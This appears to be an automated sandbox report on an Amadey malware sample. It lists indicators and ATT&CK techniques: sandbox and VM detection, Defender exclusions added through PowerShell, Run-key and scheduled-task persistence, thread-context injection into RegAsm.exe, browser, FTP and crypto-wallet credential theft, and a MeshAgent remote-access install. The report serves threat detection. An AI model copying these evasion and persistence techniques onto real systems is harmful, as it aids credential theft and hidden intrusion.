amadey | bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7

Virtualization/Sandbox Evasion

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeaxplong.exeaxplong.exe4b0eb3d752.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4b0eb3d752.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

5992 powershell.exe
5100 powershell.exe
Downloads MZ/PE file

pid	process
5992	powershell.exe
5100	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

meshagent32-group.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files (x86)\\Mesh Agent\\MeshAgent.exe\" "	meshagent32-group.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeaxplong.exeaxplong.exe4b0eb3d752.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4b0eb3d752.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4b0eb3d752.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

contorax.exeRegAsm.exesplwow64.exeJavvvUmar.exeWaters.pifsplwow64.exe06ebaa3ce3.exebb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeaxplong.exeNework.exeHkbsse.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	contorax.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	splwow64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	JavvvUmar.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	Waters.pif
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	splwow64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	06ebaa3ce3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	axplong.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	Nework.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	Hkbsse.exe

Drops startup file 2 IoCs

Processes:

cmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url	cmd.exe

Executes dropped EXE 45 IoCs

Processes:

axplong.exegold.exe12dsvc.exeNework.exeHkbsse.exew0PJCwfUNQ.exen0callPJEE.exestealc_default2.exeneedmoney.exepenis.exeacentric.exesvchost015.exe2.exeJavvvUmar.exesplwow64.execrypted.exe69bfa88891.exeLummaC222222.exeWaters.pif66ed86be077bb_12.exeservice123.exeaxplong.exeHkbsse.exeservice123.execontorax.exewinmsbt.exesplwow64.exe2.exekitty.exenewbundle2.execlip.exeWaters.pifBlenar.exeBlenar.exe4b0eb3d752.exe06ebaa3ce3.exeacentric.exerstxdhuj.exeInstalleraus.exemeshagent32-group.exeMeshAgent.exeskotes.exeMeshAgent.exe66f0297e9c3eb_15.exeMeshAgent.exe

pid	process
3060	axplong.exe
1200	gold.exe
2364	12dsvc.exe
1096	Nework.exe
2564	Hkbsse.exe
4496	w0PJCwfUNQ.exe
4088	n0callPJEE.exe
4272	stealc_default2.exe
4860	needmoney.exe
4296	penis.exe
2724	acentric.exe
1788	svchost015.exe
4048	2.exe
1408	JavvvUmar.exe
4612	splwow64.exe
4984	crypted.exe
4340	69bfa88891.exe
3724	LummaC222222.exe
1436	Waters.pif
4836	66ed86be077bb_12.exe
4216	service123.exe
864	axplong.exe
3584	Hkbsse.exe
1764	service123.exe
3268	contorax.exe
4536	winmsbt.exe
2152	splwow64.exe
1060	2.exe
1752	kitty.exe
2196	newbundle2.exe
1944	clip.exe
4532	Waters.pif
2936	Blenar.exe
4048	Blenar.exe
980	4b0eb3d752.exe
3228	06ebaa3ce3.exe
4964	acentric.exe
1824	rstxdhuj.exe
2376	Installeraus.exe
2440	meshagent32-group.exe
3928	MeshAgent.exe
5208	skotes.exe
1216	MeshAgent.exe
5432	66f0297e9c3eb_15.exe
764	MeshAgent.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeaxplong.exeaxplong.exe4b0eb3d752.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Wine	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Wine	4b0eb3d752.exe

Loads dropped DLL 12 IoCs

Processes:

stealc_default2.exe2.exeservice123.exeservice123.exeBlenar.exe

pid	process
4272	stealc_default2.exe
4272	stealc_default2.exe
4048	2.exe
4216	service123.exe
1764	service123.exe
4048	Blenar.exe
4048	Blenar.exe
4048	Blenar.exe
4048	Blenar.exe
4048	Blenar.exe
4048	Blenar.exe
4048	Blenar.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

winmsbt.exeWaters.pifacentric.exeaxplong.exerstxdhuj.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Subsystem Framework = "\"C:\\ProgramData\\Microsoft Subsystem Framework\\winmsbt.exe\""	winmsbt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\clip.exe = "C:\\Users\\Admin\\1000343002\\clip.exe"	Waters.pif
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\acentric = "\"C:\\Users\\Admin\\Pictures\\Opportunistic Telegraph\\acentric.exe\" /update"	acentric.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\06ebaa3ce3.exe = "C:\\Users\\Admin\\AppData\\Roaming\\1000341000\\06ebaa3ce3.exe"	axplong.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ylrdnrwcx = "C:\\Users\\Admin\\AppData\\Roaming\\Ylrdnrwcx.exe"	rstxdhuj.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\splwow64.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000287001\\splwow64.exe"	axplong.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\69bfa88891.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000308001\\69bfa88891.exe"	axplong.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

97 pastebin.com
96 pastebin.com
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

120 api64.ipify.org
123 ipinfo.io
124 ipinfo.io
119 api64.ipify.org

flow	ioc
97	pastebin.com
96	pastebin.com

flow	ioc
120	api64.ipify.org
123	ipinfo.io
124	ipinfo.io
119	api64.ipify.org

Drops file in System32 directory 64 IoCs

Processes:

MeshAgent.exeMeshAgent.exeMeshAgent.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\wuser32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\wgdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\C1A60BC2CA6541C64A26FF3159D18B46B282A674	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\wwin32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\wrpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\wkernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\wgdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\wkernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\wuser32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\oleaut32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\exe\MeshService.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\wntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\wntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\wkernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\SysWOW64\dll\bcryptprimitives.pdb	MeshAgent.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

1164 tasklist.exe
4744 tasklist.exe
4216 tasklist.exe
1124 tasklist.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeaxplong.exeaxplong.exe4b0eb3d752.exe

pid process

3380 bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
3060 axplong.exe
864 axplong.exe
980 4b0eb3d752.exe

pid	process
1164	tasklist.exe
4744	tasklist.exe
4216	tasklist.exe
1124	tasklist.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

gold.exe12dsvc.exeneedmoney.exe2.execrypted.exe66ed86be077bb_12.exerstxdhuj.exe

description	pid	process	target process
PID 1200 set thread context of 1812	1200	gold.exe	RegAsm.exe
PID 2364 set thread context of 4376	2364	12dsvc.exe	RegAsm.exe
PID 4860 set thread context of 1788	4860	needmoney.exe	svchost015.exe
PID 4048 set thread context of 4880	4048	2.exe	aspnet_regiis.exe
PID 4984 set thread context of 2352	4984	crypted.exe	RegAsm.exe
PID 4836 set thread context of 4884	4836	66ed86be077bb_12.exe	RegAsm.exe
PID 1824 set thread context of 5808	1824	rstxdhuj.exe	InstallUtil.exe

Drops file in Program Files directory 10 IoCs

Processes:

MeshAgent.exeMeshAgent.exemeshagent32-group.exeMeshAgent.exe

description	ioc	process
File created	C:\Program Files (x86)\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File opened for modification	C:\Program Files (x86)\Mesh Agent\MeshAgent.log	MeshAgent.exe
File opened for modification	C:\Program Files (x86)\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files (x86)\Mesh Agent\MeshAgent.log	MeshAgent.exe
File created	C:\Program Files (x86)\Mesh Agent\MeshAgent.exe	meshagent32-group.exe
File opened for modification	C:\Program Files (x86)\Mesh Agent\MeshAgent.db	MeshAgent.exe
File created	C:\Program Files (x86)\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files (x86)\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File created	C:\Program Files (x86)\Mesh Agent\MeshAgent.msh	MeshAgent.exe
File opened for modification	C:\Program Files (x86)\Mesh Agent\MeshAgent.db	MeshAgent.exe

Drops file in Windows directory 11 IoCs

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exesplwow64.exesplwow64.exeNework.exe06ebaa3ce3.exe

description	ioc	process
File created	C:\Windows\Tasks\axplong.job	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
File opened for modification	C:\Windows\HardlyAircraft	splwow64.exe
File opened for modification	C:\Windows\ViewpictureKingdom	splwow64.exe
File opened for modification	C:\Windows\BrandonBlind	splwow64.exe
File opened for modification	C:\Windows\IpaqArthur	splwow64.exe
File opened for modification	C:\Windows\HardlyAircraft	splwow64.exe
File created	C:\Windows\Tasks\Hkbsse.job	Nework.exe
File opened for modification	C:\Windows\ViewpictureKingdom	splwow64.exe
File opened for modification	C:\Windows\BrandonBlind	splwow64.exe
File opened for modification	C:\Windows\IpaqArthur	splwow64.exe
File created	C:\Windows\Tasks\skotes.job	06ebaa3ce3.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000340001\Blenar.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 26 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2124	4880	WerFault.exe	aspnet_regiis.exe
4828	4340	WerFault.exe	69bfa88891.exe
1216	4340	WerFault.exe	69bfa88891.exe
4372	4340	WerFault.exe	69bfa88891.exe
4832	4340	WerFault.exe	69bfa88891.exe
3936	4340	WerFault.exe	69bfa88891.exe
1812	4340	WerFault.exe	69bfa88891.exe
4856	4340	WerFault.exe	69bfa88891.exe
2556	4340	WerFault.exe	69bfa88891.exe
3344	1752	WerFault.exe	kitty.exe
3532	3228	WerFault.exe	06ebaa3ce3.exe
3372	3228	WerFault.exe	06ebaa3ce3.exe
5440	3228	WerFault.exe	06ebaa3ce3.exe
6052	3228	WerFault.exe	06ebaa3ce3.exe
6032	3228	WerFault.exe	06ebaa3ce3.exe
1456	3228	WerFault.exe	06ebaa3ce3.exe
2488	3228	WerFault.exe	06ebaa3ce3.exe
6060	3228	WerFault.exe	06ebaa3ce3.exe
5140	3228	WerFault.exe	06ebaa3ce3.exe
6048	3228	WerFault.exe	06ebaa3ce3.exe
5988	3228	WerFault.exe	06ebaa3ce3.exe
3100	3228	WerFault.exe	06ebaa3ce3.exe
2364	5208	WerFault.exe	skotes.exe
3368	5208	WerFault.exe	skotes.exe
3316	5208	WerFault.exe	skotes.exe
6136	5808	WerFault.exe	InstallUtil.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

wmic.exestealc_default2.exe69bfa88891.execmd.exechoice.exeWaters.pifrstxdhuj.exewmic.exewmic.exewmic.exe66f0297e9c3eb_15.exe2.exeJavvvUmar.exeWaters.pifschtasks.exekitty.exeInstalleraus.exewmic.exewmic.exewmic.exewmic.exegold.execmd.exechoice.exepowershell.exeNework.exenewbundle2.exetasklist.exeBlenar.exewmic.exewmic.exeRegAsm.exen0callPJEE.exesplwow64.exefindstr.exeBlenar.exeRegAsm.exepenis.execmd.exesplwow64.exetasklist.execmd.exepowershell.exeacentric.execmd.exefindstr.exewmic.exe06ebaa3ce3.exe12dsvc.exeRegAsm.exefindstr.exeschtasks.exe66ed86be077bb_12.exefindstr.exefindstr.exeacentric.exeRegAsm.exewmic.execlip.exeInstallUtil.exeaxplong.exewmic.exewmic.exeneedmoney.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	69bfa88891.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Waters.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rstxdhuj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66f0297e9c3eb_15.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JavvvUmar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Waters.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kitty.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Installeraus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gold.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nework.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	newbundle2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Blenar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	n0callPJEE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	splwow64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Blenar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	penis.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	splwow64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	acentric.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	06ebaa3ce3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	12dsvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66ed86be077bb_12.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	acentric.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	clip.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe
